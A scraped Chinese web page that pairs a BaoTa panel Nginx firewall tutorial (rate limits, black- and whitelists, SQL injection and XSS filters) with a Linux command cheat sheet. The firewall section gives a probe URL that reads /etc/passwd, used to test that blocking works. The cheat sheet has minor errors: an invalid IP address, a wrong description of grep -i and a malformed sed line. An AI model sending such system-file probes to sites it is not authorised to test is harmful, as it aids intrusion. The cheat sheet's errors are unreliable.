网站自定义防御CC防御互动操作:设置响应代码、开关防御状态、初始化规则。注意:全局CC设置的是初始值,新添加站点时将继承,对现有站点无效,已经存在被攻击现象的站点前往站点配置即可。规则说明:1.标准模式与增强模式:默认为标准模式,网站正常使用时建议使用标准模式,避免收录时出现问题,增强模式中有人机校验方式设置。2.请求类型有4种拦截方式,分为URL带参数、URL不带参数、IP、IP+UA2.1.URL带参数(适用于绝大场景防御效果一般)例如:设置了URL带参数60秒周期60次频率,此刻Nginx防火墙做出的动作是某个IP在60秒内累计请求同一个URL(带参数)超过60次就会触发拦截。 例如:/index.php/index/login?username=admin,那么他的是代表整个URI去计算的(/index.php/index/login?username=admin),也就是URL不变的情况下去请求这个URL就会触发拦截。2.2.URL不带参数(不适用于Thinkphp默认路由)例如:设置了URL不带参数60秒周期60次频率,此刻Nginx防火墙做出的动作是某个IP60秒内累计请求同一URL(不带参数)超过60次就会触发拦截。 例如:/index.php/index/login?username=admin,那么Nginx防火墙会用URI去计算(/index.php/index/login),也就是URL(不带参数)不变的情况下去请求这个URL才会触发拦截。2.3.IP(受到大量攻击的时候适用)例如:某个IP60秒周期内访问服务器内所有网站的总次数超过60次的频率将会触发拦截,建议在受到攻击的时候开启。注意:不建议一直开启!2.4.IP+UA(适用于API接口)例如:某个IP+UA60秒周期内访问服务器内所有网站的总次数超过60次频率将会触发拦截。注意:建议不要开启,只适用于API网站! 3.周期、频率、封锁时间:xx秒周期内累计请求同一URL超过xx次频率,触发CC防御,封锁此IPxx秒,所有时间取1天,最长不会超过86400秒。例如:60秒周期内累计请求同一URL超过180次频率,触发CC防御,封锁此IP300秒。注意:IP封锁不等于拉黑名单,需要加黑名单需自行点击添加。请不要设置过于严格的CC规则,以免影响正常用户体验。4.增强模式-人机校验:可设置自动开启/一直开启,自动开启可设置触发条件,例如60秒被访问600次触发开启人机校验。人机校验有4种校验方式,分为跳转验证、验证码验证、人机验证、滑动验证,只是验证方式不同,看个人喜好开启哪种,如果开启后无法正常显示,手动重启nginx主程序即可。恶意容忍度某一IP对网站进行了多少次的恶意请求后,nginx防火墙将进行对该IP的封锁。这不同于CC防御,恶意请求有可能是SQL注入、XSS等恶意传参、CC,当此IP的访问行为达到了设置的阈值,nginx防火墙就会做出封锁动作。举例:192.168.1.10这个IP对 www.bt.cn 网站60秒进行了10次恶意攻击(包含SQL注入、XSS),触发了防火墙设置的阈值,此时防火墙将会对192.168.1.10进行拦截。注意:全局应用:全局设置当前恶意容忍规则,且覆盖当前全部站点的恶意容忍规则。IP黑白名单设置后,所有规则对IP白名单无效,IP白名单前文提到位居规则顶端。IP黑名单设置后既在nginx防火墙禁止此IP访问所有网站。建议使用场景:自己的服务器间互动、公司内测试、公司的其他服务器IP、需要测试的服务器IP等加入IP白名单(如果没有需求就不用设置IP白名单)。IP黑名单使用场景可以禁止某个或某个段的IP访问、某个段的蜘蛛爬虫,将需要拉黑的IP添加进入即可。URL黑白名单设置后,只要是关于添加的URL请求,都是进行URL黑白名单过滤,白名单设置后该URL将会失去大部分防御规则。注意格式:例如误拦截的url如下: /index/index/aaa.php?id=eradasa&adas,只需要填写它的URL,不需要添加它的参数。有添加URL黑白名单的需求是,操作如下:^/index/index/aaa.php,只需要添加^/index/index/aaa.php到URL黑白名单即可。UA黑白名单设置后,UA白名单查询到关键词直接跳过任何拦截,UA黑白名单初始化阶段在客户端UA中查找关键词,谨慎使用。UA白名单默认为空,没有就一直保持空即可。建议使用场景:例如可以禁用Google蜘蛛的UA到黑名单中,可以禁止某个浏览器UA访问,例如safari等。非浏览器拦截拦截非浏览器请求,通过UA判断是否是爬虫,此功能不会拦截真实的蜘蛛爬虫。建议使用场景:此开关将应用所有网站,建议开启。另外如果使用了微信小程序外部调用,建议关闭此功能,因为微信那边验证网站也是非浏览器行为。HTTP请求过滤可选择过滤的请求类型、请求头过滤、语义分析开关等。请求类型包含:POST、GET、OPTIONS、DELETE等;如果您只想允许POST和GET类型使用,其他的都不要,除了POST和GET其他的都关闭即可。请求头包含:origin、content-type、accept、user-agent、cookie等;请求头过滤是过滤的请求头的字段长度。例如:请求头中的cookie头部只能500字节以内,那么超过这个长度就被视为恶意的请求触发拦截。语义分析开关:POST传参XSS防御、POST传参SQL注入防御、GET传参XSS防御、GET传参SQL注入防御。建议使用场景:默认既全部开启,不建议关闭、不建议关闭、不建议关闭。GET(GET-URL)、POST、UA(User-Agent)过滤、Cookie过滤、常见扫描器GET-参数过滤 --> 对GET类型的参数进行过滤GET-URL过滤 --> 对URI 进行过滤User-Agent过滤--> 对客户端的UA进行过滤POST过滤-->对POST传递的参数进行过滤Cookie过滤--> 对客户端传递的Cookie进行过滤常见扫描器-->对已知的扫描器进行封锁建议:保持默认即可,不建议修改;需要自定义规则时,建议添加新的规则,不建议改动原来的,全部支持正则表达式。GET(GET-URL)GET参数和GET-URL的区别例如:/index.php?id=1&id2=1,id=1&id2=1是过滤的参数和值,index.php是URI。那么GET参数过滤只会取GET传递的参数,进行判断是否是恶意的参数;而GET-URL这块主要拦截的是一个备份文件被非法下载、sql文件被下载等。UA(User-Agent)过滤这里是对用户的恶意UA 进行了拦截,例如拦截go的UA直接填入go即可,支持正则。POST、Cookie过滤、常见扫描器这里是对POST的传递参数、用户提交的Cookie进行过滤,常见扫描器是对扫描器的特征去匹配。禁止境内外访问字面意思,设置后可禁止境内或境外访问,用户可自行点击设置设置IP,境外IP库可同步云端。注意:不建议两个都开启,两个都开启后只能本地访问。From-data协议、HTTP包、蜘蛛池、URL关键词拦截、违禁词拦截、API接口防御Webshell查杀-->动态查杀webshellFrom-data协议-->针对文件上传格式传输数据进行规范蜘蛛池--->蜘蛛IP进行整合URL关键词拦截-->针对URL某些关键词进行拦截(不记录日志)违禁词拦截-->针对用户传递的文字进行拦截,例如用户发帖的违禁词进行拦截API接口防御-->针对已经加入白名单的接口进行单独防御From-data协议协议是multipart传输数据的一种格式规范,不符合规范的将会触发拦截。HTTP包默认拦截的HTTP日志只会记录1M 之内的记录,如果超过1M的HTTP包默认不会记录,如果您在日志中发现了大于1M的包希望记录它,您可以开启此功能。注意:此功能默认关闭。蜘蛛池云端有存储百度、谷歌、360、搜狗、雅虎、必应、头条的蜘蛛池,除了这些,用户可以对蜘蛛池自行增删蜘蛛。API接口防御API防御指的是部分API在白名单的情况下有需要对某些接口进行CC防御,API书写格式例如:^/api/getuserinfo$,写法需注意一定得用^开头和$结尾。模拟攻击模拟攻击为:模拟黑客进行SQL注入获取数据库权限,不会影响业务的正常运行。如果您的IP在IP白名单中测试则无效果。如需测试其他的网站可使用(http://网站域名/?id=/etc/passwd)进行攻击。返回拦截信息则表示拦截成功,如发现未拦截,建议更新至最新版。导出导入配置仅导出全局配置(CC配置、恶意容忍度配置、IP黑白名单、UA黑白名单、URL黑白名单、敏感文字替换、URL关键词拦截),不包含站点配置。GET、POST、URL、UA、Cookie仅导出响应码和开关状态,不包含内部规则。建议使用复制或下载按钮,选中复制有可能遗漏密钥,导致导入或导出时失败。恢复默认配置将会清除所有配置、恢复到默认配置、包括URL黑白名单、IP黑白名单等所有规则项。站点设置站点设置页面将所有已有站点展示在此,可在此设置页面对某一个网站进行单独的规则设置。此页可直接对GET、POST、UA、Cookie、禁止境内外、CDN、CC防御以及主防御开关进行设置。拦截记录此页面将展示某个站点今日、昨日、近7天、近30天或自定义时间的拦截记录。互动操作如下:1.用户可点击IP加入IP黑名单;2.用户可点击误报,将URL加入URL白名单;(慎点,确定需要点才点)3.用户可查看请求的详情以及HTTP原文。木马查杀此页功能为:当前扫描内容为疑似木马文件,扫描方式基于当前规则库,可自行添加扫描规则。扫描出来的文件,都需要使用宝塔检测与第三方检测来检测当前文件是否有问题,如有一方检测为webshell文件,请立即删除此问题。另外需要特别注意:最终决定权在用户手上,可能当前的规则误报了您的文件,规则是死的人是活的,您需要自行检查文件代码是否真的有问题,如无问题,请点击误报。封锁记录此页面将展示每个站点的封锁记录,记录了有时间、IP、站点、封锁的原因、封锁时常等。用户可互动操作如下1.对拦截记录点击误报;2.对拦截的IP进行拉黑;3.解封当前拦截;4.可查看拦截详情和HTTP请求;5.用户可选择每页展示多少条记录。操作日志此页面记录所有Nginx防火墙的功能性操作,比如设置CC规则、给某个IP添加了黑白名单、URL黑白名单等等,所有操作记录都会记录在此。使用中如果我们开启了post过滤,会有不能发表文章,不能留言等错误。所以我们需要在拦截日志查看原因,然后点击误报恢复到白名单中。要调试之后才能打磨出一个适合自己的防火墙。专业版防火前功能还是足够丰富的,比如cdn功能,敏感词替换等等这些功能都非常实用。往期教程如果还有不了解宝塔面板怎么使用的小伙伴,可以看下我总结的系列教程,保证从新手变老鸟:【建站流程科普】个人和企业搭建网站基本流程及六个主要步骤常见的VPS主机运维面板汇总—网站运维面板云服务器,VPS,虚拟主机有什么不同?如何选择?【宝塔面板精选教程汇总】宝塔面板教程(1)基于云服务器搭建宝塔面板教程最全详解宝塔面板教程(2)宝塔面板添加WordPress站点详细图文教程宝塔面板教程(3)基于宝塔面板成功配置网站SSL安全证书宝塔面板教程(4)宝塔面板为WordPress网站进行数据备份与恢复宝塔面板教程(5)WordPress网站程序和数据库定时备份到七牛云存储图文教程宝塔面板教程(6)WordPress网站程序和数据库定时备份到又拍云存储空间图文教程宝塔面板教程(7)宝塔面板版本升级更新教程汇总—升级宝塔面板宝塔面板教程(8)Docker定时备份MySQL数据库到七牛云教程宝塔面板教程(9)如何连接宝塔面板创建的FTP空间完整教程宝塔面板教程(10)宝塔面板Nginx防火墙安装和使用教程详解【宝塔面板常见问题汇总】宝塔申请域名证书一直“待域名确认”是怎么回事?宝塔面板phpmyadmin无法访问解决方法(phpmyadmin是在线管理mysql数据库的插件)宝塔面板操作日志是存放在哪里的? 如何删除部分日志记录?宝塔面板安装插件报错—插件未购买或已到期,请重新绑定帐号后重试,如操作无效,请将服务器出口IP改为:8XX.XXX.XX.XX
文章
SQL  ·  安全  ·  应用服务中间件  ·  Linux  ·  网络安全  ·  API  ·  Apache  ·  数据库  ·  nginx  ·  CDN
2023-01-01
10分钟让你掌握Linux常用命令
1、常用Linux命令2、windows下CMD常用命令@[toc]Linux 系统目录├── bin -> usr/bin # 用于存放二进制命令 ├── boot # 内核及引导系统程序所在的目录 ├── dev # 所有设备文件的目录(如磁盘、光驱等) ├── etc # 配置文件默认路径、服务启动命令存放目录 ├── home # 用户家目录,root用户为/root ├── lib -> usr/lib # 32位库文件存放目录 ├── lib64 -> usr/lib64 # 64位库文件存放目录 ├── media # 媒体文件存放目录 ├── mnt # 临时挂载设备目录 ├── opt # 自定义软件安装存放目录 ├── proc # 进程及内核信息存放目录 ├── root # Root用户家目录 ├── run # 系统运行时产生临时文件,存放目录 ├── sbin -> usr/sbin # 系统管理命令存放目录 ├── srv # 服务启动之后需要访问的数据目录 ├── sys # 系统使用目录 ├── tmp # 临时文件目录 ├── usr # 系统命令和帮助文件目录 └── var # 存放内容易变的文件的目录一、目录操作pwd 查看当前工作目录 clear 清除屏幕 cd ~ 当前用户目录 cd / 根目录 cd - 上一次访问的目录 cd .. 上一级目录查看目录内信息ll 查看当前目录下内容(LL的小写)创建目录mkdir aaa 在当前目录下创建aaa目录,相对路径; mkdir ./bbb 在当前目录下创建bbb目录,相对路径; mkdir /ccc 在根目录下创建ccc目录,绝对路径;递归创建目录(会创建里面没有的目录文件夹)mkdir -p temp/nginx 搜索命令find / -name 'b' 查询根目录下(包括子目录),名以b的目录和文件; find / -name 'b*' 查询根目录下(包括子目录),名以b开头的目录和文件; 重命名mv 原先目录 文件的名称 mv tomcat001 tomcat 剪切命令(有目录剪切到制定目录下,没有的话剪切为指定目录)mv /aaa /bbb 将根目录下的aaa目录,移动到bbb目录下(假如没有bbb目录,则重命名为bbb); mv bbbb usr/bbb 将当前目录下的bbbb目录,移动到usr目录下,并且修改名称为bbb; mv bbb usr/aaa 将当前目录下的bbbb目录,移动到usr目录下,并且修改名称为aaa;复制目录cp -r /aaa /bbb 将/目录下的aaa目录复制到/bbb目录下,在/bbb目录下的名称为aaa cp -r /aaa /bbb/aaa 将/目录下的aa目录复制到/bbb目录下,且修改名为aaa;强制式删除指定目录rm -rf /bbb 强制删除/目录下的bbb目录。如果bbb目录中还有子目录,也会被强制删除,不会提示;删除目录rm -r /bbb 普通删除。会询问你是否删除每一个文件 rmdir test01 目录的删除查看树状目录结构tree test01/1、批量操作需要采用{}进行参数的传入了。mkdir {dirA,dirB} # 批量创建测试目录 touch dirA/{A1,A2,A3} # dirA创建三个文件dirA/A1,dirA/A2,dirA/A3二、文件操作删除rm -r a.java 删除当前目录下的a.java文件(每次回询问是否删除y:同意)强制删除rm -rf a.java 强制删除当前目录下的a.java文件 rm -rf ./a* 强制删除当前目录下以a开头的所有文件; rm -rf ./* 强制删除当前目录下所有文件(慎用);创建文件touch testFile递归删除.pyc格式的文件find . -name '*.pyc' -exec rm -rf {} \;打印当前文件夹下指定大小的文件find . -name "*" -size 145800c -print递归删除指定大小的文件(145800)find . -name "*" -size 145800c -exec rm -rf {} \;递归删除指定大小的文件,并打印出来find . -name "*" -size 145800c -print -exec rm -rf {} \;"." 表示从当前目录开始递归查找“ -name '*.exe' "根据名称来查找,要查找所有以.exe结尾的文件夹或者文件" -type f "查找的类型为文件"-print" 输出查找的文件目录名-size 145800c 指定文件的大小-exec rm -rf {} \; 递归删除(前面查询出来的结果)split拆分文件split命令:可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。b:值为每一输出档案的大小,单位为 byte。-C:每一输出档中,单行的最大 byte 数。-d:使用数字作为后缀。-l:值为每一输出档的行数大小。-a:指定后缀长度(默认为2)。使用split命令将上面创建的date.file文件分割成大小为10KB的小文件:[root@localhost split]# split -b 10k date.file [root@localhost split]# ls date.file xaa xab xac xad xae xaf xag xah xai xaj文件被分割成多个带有字母的后缀文件,如果想用数字后缀可使用-d参数,同时可以使用-a length来指定后缀的长度:[root@localhost split]# split -b 10k date.file -d -a 3 [root@localhost split]# ls date.file x000 x001 x002 x003 x004 x005 x006 x007 x008 x009为分割后的文件指定文件名的前缀:[root@localhost split]# split -b 10k date.file -d -a 3 split_file [root@localhost split]# ls date.file split_file000 split_file001 split_file002 split_file003 split_file004 split_file005 split_file006 split_file007 split_file008 split_file009使用-l选项根据文件的行数来分割文件,例如把文件分割成每个包含10行的小文件:split -l 10 date.file三、文件内容操作(查看日志,更改配置文件)修改文件内容vim a.java 进入一般模式 i(按键) 进入插入模式(编辑模式) ESC(按键) 退出 :wq 保存退出(shift+:调起输入框) :q! 不保存退出(shift+:调起输入框)(内容有更改)(强制退出,不保留更改内容) :q 不保存退出(shift+:调起输入框)(没有内容更改)文件内容的查看cat a.java 查看a.java文件的最后一页内容; more a.java 从第一页开始查看a.java文件内容,按回车键一行一行进行查看, 按空格键一页一页进行查看,q退出; less a.java 从第一页开始查看a.java文件内容,按回车键一行一行的看, 按空格键一页一页的看,支持使用PageDown和PageUp翻页,q退出;总结下more 和 less的区别:less可以按键盘上下方向键显示上下内容,more不能通过上下方向键控制显示less不必读整个文件,加载速度会比more更快less退出后shell不会留下刚显示的内容,而more退出后会在shell上留下刚显示的内容.由于more不能后退.实时查看文件后几行(实时查看日志)tail -f a.java 查看a.java文件的后10行内容;前后几行查看head a.java 查看a.java文件的前10行内容; tail -f a.java 查看a.java文件的后10行内容; head -n 7 a.java 查看a.java文件的前7行内容; tail -n 7 a.java 查看a.java文件的后7行内容;文件内部搜索指定的内容grep under 123.txt 在123.txt文件中搜索under字符串,大小写敏感,显示行; grep -n under 123.txt 在123.txt文件中搜索under字符串,大小写敏感,显示行及行号; grep -v under 123.txt 在123.txt文件中搜索under字符串,大小写敏感,显示没搜索到的行; grep -i under 123.txt 在123.txt文件中搜索under字符串,大小写敏感,显示行; grep -ni under 123.txt 在123.txt文件中搜索under字符串,大小写敏感,显示行及行号;终止当前操作Ctrl+c和Ctrl+z都是中断命令,但是作用却不一样。ctrl+z ctrl+cCtrl+Z就扮演了类似的角色,将任务中断,但是任务并没有结束,在进程中只是维持挂起的状态,用户可以使用fg/bg操作前台或后台的任务,fg命令重新启动前台被中断的任务,bg命令把被中断的任务放在后台执行。Ctrl+C也扮演类似的角色,强制中断程序的执行。重定向功能可以使用 > 或 < 将命令的输出的命令重定向到test.txt文件中(没有则创建一个)echo 'Hello World' > /root/test.txt1、grep(检索文件内容)grep [options] pattern file全称:Global Regular Expression Print。作用:查找文件里符合条件的字符串。// 从test开头文件中,查找含有start的行 grep "start" test* // 查看包含https的行,并展示前1行(-A),后1行(-B) grep -A 1 -B 1 "https" wget-log2、awk(数据统计)awk [options] 'cmd' file一次读取一行文本,按输入分隔符进行切片,切成多个组成部分。将切片直接保存在内建的变量中,$1,$2...($0表示行的全部)。支持对单个切片的判断,支持循环判断,默认分隔符为空格。-F 指定分隔符(默认为空格)1. 将email.out进行切分,打印出第1/3列内容awk '{print $1,$3}' email.out 2. 将email.out进行切分,打印出第1/3列内容awk '{print $1,$3}' email.out 3. 将email.out进行切分,当第1列为tcp,第2列为1的列,全部打印awk '$1=="tcp" && $2==1{print $0}' email.out4. 在上面的基础上将表头进行打印(NR表头)awk '($1=="tcp" && $2==1)|| NR==1 {print $0}' email.out5. 以,为分隔符,切分数据,并打印第二列的内容awk -F "," '{print $2}' test.txt6. 将日志中第1/3列进行打印,并对第1列的数据进行分类统计awk '{print $1,$3}' email.out | awk '{count[$1]++} END {for(i in count) print i "\t" count[i]}'7. 根据逗号,切分数据,并将第一列存在文件test01.txt中awk -F "," '{print $1 >> "test01.txt"}3、sed(替换文件内容)sed [option] 'sed commond' filename全名Stream Editor,流编辑器适合用于对文本行内容进行处理sed commond为正则表达式sed commond中为三个/,分别为源内容,替换后的内容sed替换标记g # 表示行内全面替换。 p # 表示打印行。 w # 表示把行写入一个文件。 x # 表示互换模板块中的文本和缓冲区中的文本。 y # 表示把一个字符翻译为另外的字符(但是不用于正则表达式) \1 # 子串匹配标记 & # 已匹配字符串标记1. 替换解析sed -i 's/^Str/String/' replace.java 2. 将末尾的.替换为;(转义.)sed -i 's/\.$/\;/'3. 全文将Jack替换为me(g是全部替换,不加只替换首个)sed -i 's/Jack/me/g/ replace.java4. 删除replace.java中的空格(d是删除)sed -i '/^ *$/d' replace.java5. 删除包含Interger的行(d是删除)sed -i '/Interger/d' replace.java6.多命令一起执行grep 'input' 123.txt | sed 's/\"//g; s/,/\n/g'7. 替换后将数据保存在文中grep 123.txt | sed -n 's/\"//gw test01.txt'4、管道操作符|可将指令连接起来,前一个指令的输出作为后一个指令的输入find ~ |grep "test" find ~ //查找当前用户所有文件 grep "test" //从文件中使用管道注意的要点只处理前一个命令正确输出,不处理错误输出。右边命令必须能够接收标准输入流,否则传递过程中数据会被抛弃sed,awk,grep,cut,head,top,less,more,c,join,sort,split等1.从email.log文件中查询包含error的行grep 'error' email.log2.获取到error的行,并取[]含有数字的grep 'error' email.log | grep -o '\[0-9\]'3. 并过滤掉含有当前进程ps -ef|grep tomcat |grep -v 4. 替换后将数据保存在文中grep 123.txt | sed -n 's/\"//gw test01.txt'5. 将文件123.txt,按,切分,去除",按:切分后,将第一列存到文件test01.txt中grep 'input' 123.txt | awk -F ',' '{print $2}' | sed 's/\"//g; s/,/\n/g' | awk -F ":" '{print $1 >> "test01.txt"}'四、系统日志位置cat /etc/redhat-release 查看操作系统版本 /var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 /var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 /var/log/secure 与安全相关的日志信息 /var/log/maillog 与邮件相关的日志信息 /var/log/cron 与定时任务相关的日志信息 /var/log/spooler 与UUCP和news设备相关的日志信息 /var/log/boot.log 守护进程启动和停止相关的日志消息 查看某文件下的用户操作日志到达操作的目录下,执行下面的程序:cat .bash_history五、创建与删除软连接1、创建软连接ln -s /usr/local/app /data注意:创建软连接时,data目录后不加 / (加上后是查找其下一级目录);2、删除软连接rm -rf /data注意:取消软连接最后没有/,rm -rf 软连接。加上/是删除文件夹;六、压缩和解压缩tartar压缩(-c)tar -cvf start.tar a.java b.java //将当前目录下a.java、b.java打包 tar -cvf start.tar ./* //将当前目录下的所欲文件打包压缩成haha.tar文件 tar -zcvf start.tar.gz a.java b.java //将当前目录下a.java、b.java打包 tar -zcvf start.tar.gz ./* //将当前目录下的所欲文件打包压缩成start.tar.gz文件解压缩(-x)tar -xvf start.tar //解压start.tar压缩包,到当前文件夹下; tar -xvf start.tar -C usr/local //(C为大写,中间无空格) //解压start.tar压缩包,到/usr/local目录下; tar -zxvf start.tar.gz //解压start.tar.gz压缩包,到当前文件夹下; tar -zxvf start.tar.gz -C usr/local //(C为大写,中间无空格) //解压start.tar.gz压缩包,到/usr/local目录下;解压缩tar.xz文件tar xf node-v12.18.1-linux-x64.tar.xzunzip/zip压缩(zip)zip lib.zip tomcat.jar //将单个文件压缩(lib.zip) zip -r lib.zip lib/ //将目录进行压缩(lib.zip) zip -r lib.zip tomcat-embed.jar xml-aps.jar //将多个文件压缩为zip文件(lib.zip) 解压缩(unzip)unzip file1.zip //解压一个zip格式压缩包 unzip -d /usr/app/com.lydms.english.zip //将`english.zip`包,解压到指定目录下`/usr/app/`七、Linux下文件的详细信息 R:Read w:write x: execute执行 -rw-r--r-- 1 root root 34942 Jan 19 2018 bootstrap.jar 前三位代表当前用户对文件权限:可以读/可以写/不能执行 中间三位代表当前组的其他用户对当前文件的操作权限:可以读/不能写/不能执行 后三位其他用户对当前文件权限:可以读/不能写/不能执行更改文件的权限chmod u+x web.xml (---x------) 为文件拥有者(user)添加执行权限; chmod g+x web.xml (------x---) 为文件拥有者所在组(group)添加执行权限; chmod 111 web.xml (---x--x--x) 为所有用户分类,添加可执行权限; chmod 222 web.xml (--w--w--w-) 为所有用户分类,添加可写入权限; chmod 444 web.xml (-r--r--r--) 为所有用户分类,添加可读取权限;八、常用的docker容器的命令:1、下载镜像Linux服务器下载安装包镜像命令wget https://mirrors.huaweicloud.com/elasticsearch/7.8.0/elasticsearch-7.8.0-windows-x86_64.zip华为开源镜像站https://mirrors.huaweicloud.com/2、常用命令#1、查看docker中下载好的镜像: docker images #2、查询需要的容器名称: docker search mysql #3、将需要的docker容器下载运行到本地(名称、端口号、msyql密码、ID): docker run -di --name=first -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root 26d26dsfsd31a #4、查看运行的docker容器: docker ps #5、查看所有的docker容器(包括未运行的): docker ps -a #6、停止当前运行的docker容器: docker stop first #7、启动docker容器: docker start first #8、重启docker容器: docker restart first #9、删除docker容器: docker rm first九、运维常用命令1、查看服务器端口号是否可用查看服务器是否可用ping 49.32.587.164查看服务器指定端口是否可用telnet 49.32.587.164 8093Telnet安装这是我写过的一个Linux安装Telnet的文章。https://blog.csdn.net/lydms/article/details/1136988561、shutdown(关闭计算机)shutdown是最常用也是最安全的关机和重启命令,它会在关机之前调用fsck检查磁盘,其中-h和-r是最常用的参数:-h:停止系统服务并关机 -r: 停止系统服务后重启 案例:shutdown -h now --立即关机 shutdown -h 10:53 --到10:53关机,如果该时间小于当前时间,则到隔天 shutdown -h +10 --10分钟后自动关机 shutdown -r now --立即重启 shutdown -r +30 'The System Will Reboot in 30 Mins' --30分钟后重启并并发送通知给其它在线用户 2、查看处于各种连接状态数量(ESTABLISHED、CLOSE_WAIT、TIME_WAIT)netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'查看处于ESTABLISHED状态连接netstat -nt | awk '{if($NF=="ESTABLISHED"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'查看处于CLOSE_WAIT状态连接netstat -nt | awk '{if($NF=="CLOSE_WAIT"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'查看处于TIME_WAIT状态连接netstat -nt | awk '{if($NF=="TIME_WAIT"){wait[$5]++}}END{for(i in wait) print i,wait[i]}'3、ping命令对 www.lydms.com 发送 4 个 ping 包, 检查与其是否联通ping -c 4 www.lydms.com4、netstat 命令netstat 命令用于显示各种网络相关信息,如网络连接, 路由表, 接口状态等等;列出所有处于监听状态的tcp端口:netstat -lt查看所有的端口信息, 包括 PID 和进程名称netstat -tulpn5、查看当前端口号占用情况1.用于查看某一端口的占用情况lsof -i:80802.显示tcp,udp的端口和进程等相关情况netstat -tunlp3.指定端口号的进程情况netstat -tunlp|grep 80804.查看PID进程信息ps -aux |grep 28990根据PID,查看JVM中各线程信息('0x9eb'为nid值)jstack 2246|grep '0x9eb' -A 506、ps 命令过滤得到当前系统中的 ssh 进程信息ps aux | grep 'ssh'7、管道命令简单来说, Linux 中管道的作用是将上一个命令的输出作为下一个命令的输入, 像 pipe 一样将各个命令串联起来执行, 管道的操作符是 |管道命令查看当前运行的程序中,名称为java的程序ps -ef|grep java查看/etc/passwd文件中的root内容cat /etc/passwd | grep 'root'查看当前系统的ip连接(Windows和Linux通用)netstat -an将sh test.sh任务放到后台,并将打印的日志输出到nohup.out文件中,终端不再能够接收任何输入(标准输入)nohup sh test.sh &将sh test.sh任务放到后台,并将打印的日志输出到test.out文件中,终端不再能够接收任何输入(标准输入)nohup sh test.sh >> test.out &将sh test.sh任务放到后台,并将打印的日志输出到nohup.out文件中,终端能够接收任何输入nohup sh test.sh &8、添加Host地址打开配置文件vim /etc/hosts在打开的文件中添加49.235.32.164 www.lydms.com保存文件后,重启网络/etc/init.d/network restart重新加载成功:十、yum常用命令yum install iptables-services 下载并安装iptables yum list 列出当前系统中安装的所有包 yum search package_name 在rpm仓库中搜寻软件包 yum update package_name.rpm 更新当前系统中所有安装的rpm包 yum update package_name 更新一个rpm包 yum remove package_name 删除一个rpm包 yum clean all 删除所有缓存的包和头文件十一、其他命令1、xargs给其他命令传递参数的一个过滤器补充说明xargs 命令 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs 能够处理管道或者 stdin 并将其转换成特定命令的命令参数。xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs 的默认命令是 echo,空格是默认定界符。这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。xargs 是构建单行命令的重要组件之一。xargs 命令用法xargs 用作替换工具,读取输入数据重新格式化后输出。-n:指定每行输出数量cat test.txt | xargs -n3 a b c d e f g h i j k l m n o-d:按指定内容分隔文本[root@VM-0-9-centos ~] echo "nameXnameXnameXname" | xargs -dX name name name name-l:文本命令替换xargs 的一个 选项 -I ,使用 -I 指定一个替换字符串{},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次:ls *.jpg | xargs -n1 -I cp {} /data/images-t:将执行的命令,打印出来-t echo{}ls * |xargs -t -n1 -I {} cp -r {} /root/ddd/ echo{}结合使用—指定X切分,并每行2个[root@VM-0-9-centos ~] echo "nameXnameXnameXname" | xargs -dX -n2 name name name name查看历史使用命令history过滤与es相关命令history | grep es查看占用资源ps -au 占用的资源是从进程启动开始,计算的平均占用资源,比如cpu等 top 实时占用的资源;查看当前目录所占存储du -lh 查看当前文件下各文件夹占用存储空间 du -sh 查看当前文件夹所占存储空间 du --max-depth=<目录层数> 超过指定层数的目录后,予以忽略。 du --max-depth=1 只查看当前目录下文件占用的存储空间管道命令:根据项目查看进程,更加PID查看项目,以及项目路径ps -ef 查看所有的进程 ps -ef | grep mysql 查看mysql相关的进程通过进程PID查看所占用的端口号netstat -nap |grep 进程ID(PID)查看Linux下系统存储使用率df -h 查看系统硬盘使用情况杀死进程(根据PID)kill -9 2630 进程pid关闭防火墙service iptables stop 临时关闭防火墙 chkconfig iptables off 防火墙开启不启动 service iptables status 查看防火墙状态开机启动选项msconfig 查看开机启动选项 chkconfig 查看开机启动服务列表查看MySQL服务的程序的状态service mysql start 开启MySQL service mysql status 查看MySQL的状态 service mysql stop 关闭MySQL 2、curl语法GET请求curl "http://www.wangchujiang.com"POST请求# 普通文本 curl -d'login=emma&password=123' -X POST https://wangchujiang.com/login # Json格式 curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json 详细可以看我写的另一篇:curl语法整理https://blog.csdn.net/lydms/article/details/127655845十二、Linux内核优化打开配置文件vim /etc/sysctl.conf加载新的配置(需开启防火墙iptables,否则会报错)sysctl -p收藏的详情地址https://www.cnblogs.com/lldsn/p/10489593.html十三、用户权限操作1、用户操作添加用户sum:useradd –d /usr/sum -m sum关于useradd的某些参数:-u: 指定 UID,这个 UID 必须是大于等于500,并没有其他用户占用的 UID-g: 指定默认组,可以是 GID 或者 GROUPNAME,同样也必须真实存在-G: 指定额外组-c: 指定用户的注释信息-d: 指定用户的家目录已创建的用户sum设置密码passwd sum用户添加root权限visudo找到root用户权限位置添加与root用户相同权限## Allow root to run any commands anywhere root ALL=(ALL) ALL eses ALL=(ALL) ALL新建的用户在面显示cat /etc/passwd切换下刚才添加的用户su sumsum: x:1000:1000:: /usr/sum :/bin/bashsum: x:0:1000:: /usr/sum :/bin/bash回到root用户exit修改已有用户信息usermodusermod 选项 用户名删除用户文件夹rm -rf /usr/sum删除用户sumuserdel sum2、添加组添加用户组groupadd groupname修改用户组使用者权限:管理员用户groupmod 选项 用户组 groupmod -n new-usergroup usergroup常用的选项有:-g GID 为用户组指定新的组标识号。-o 与-g选项同时使用,用户组的新GID可以与系统已有用户组的GID相同。-n新用户组 将用户组的名字改为新名字删除用户组groupdel groupname可以看到自己的分组和分组idcat 